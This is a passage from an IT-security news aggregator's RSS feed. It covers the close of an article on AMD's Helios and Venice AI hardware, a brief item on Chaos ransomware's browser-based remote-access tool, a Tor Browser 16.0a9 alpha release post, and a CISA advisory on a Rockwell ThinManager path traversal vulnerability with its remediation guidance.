<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel]]></title>
<description><![CDATA[Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth…
Read more →
The post Chaos Ransom...]]></description>
<link>https://tsecurity.de/de/3690004/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690004/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</guid>
<pubDate>Thu, 23 Jul 2026 20:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/">Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation ThinManager]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.
The following versions of Rockwell Automation ThinManager are affected:

ThinManager >=1...]]></description>
<link>https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.</strong></p>
<p>The following versions of Rockwell Automation ThinManager are affected:</p>
<ul>
<li>ThinManager &gt;=13.0.0|&lt;13.0.7, &gt;=13.1.0|&lt;13.1.5, &gt;=13.2.0|&lt;13.2.4, &gt;=14.0.0|&lt;14.0.2</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation ThinManager</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Critical Manufacturing, Energy, Food and Agriculture, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-11917</a></h3>
<div class="csaf-accordion-content">
<p>A path traversal security issue exists within Rockwell Automation ThinManager software due to improper limitation of file save operations within the API. An authenticated attacker could exploit this vulnerability to write arbitrary files to restricted system directories outside of the application's intended directory.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-11917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation ThinManager</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation ThinManager: &gt;=13.0.0|&lt;13.0.7, Rockwell Automation ThinManager: &gt;=13.1.0|&lt;13.1.5, Rockwell Automation ThinManager: &gt;=13.2.0|&lt;13.2.4, Rockwell Automation ThinManager: &gt;=14.0.0|&lt;14.0.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Users using the affected software, should upgrade to one of the corrected versions as follows:</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.0.0 - 13.0.7 --&gt; 13.0.8</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.1.0 - 13.1.5 --&gt; 13.1.6</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.2.0 - 13.2.4 --&gt; 13.2.5</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 14.0.0 - 14.0.2 --&gt; 14.0.3</p>
<p><strong>Mitigation</strong><br>Users using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices.<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, refer to Rockwell Automation's Securitry Advisory page.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
